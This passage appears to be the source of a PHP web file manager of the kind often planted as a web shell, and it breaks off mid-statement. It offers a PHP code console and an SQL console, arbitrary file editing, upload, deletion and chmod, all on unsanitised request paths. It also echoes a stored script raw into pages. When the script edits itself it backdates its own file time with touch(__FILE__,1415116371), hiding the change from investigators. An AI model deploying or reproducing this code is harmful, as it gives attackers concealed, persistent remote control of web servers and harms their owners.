background-image: url("data:image/png;base64,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");
}
.file {
background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
<form action="" method="POST" name="console">
<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
<input type="reset" value="<?=__('Reset')?>">
<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$editlink?>">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save" value="<?=__('Submit')?>">
<input type="submit" name="cancel" value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg .= __('Found in files').' ('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> ';
}
} else {
$msg .= __('Nothing founded');
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
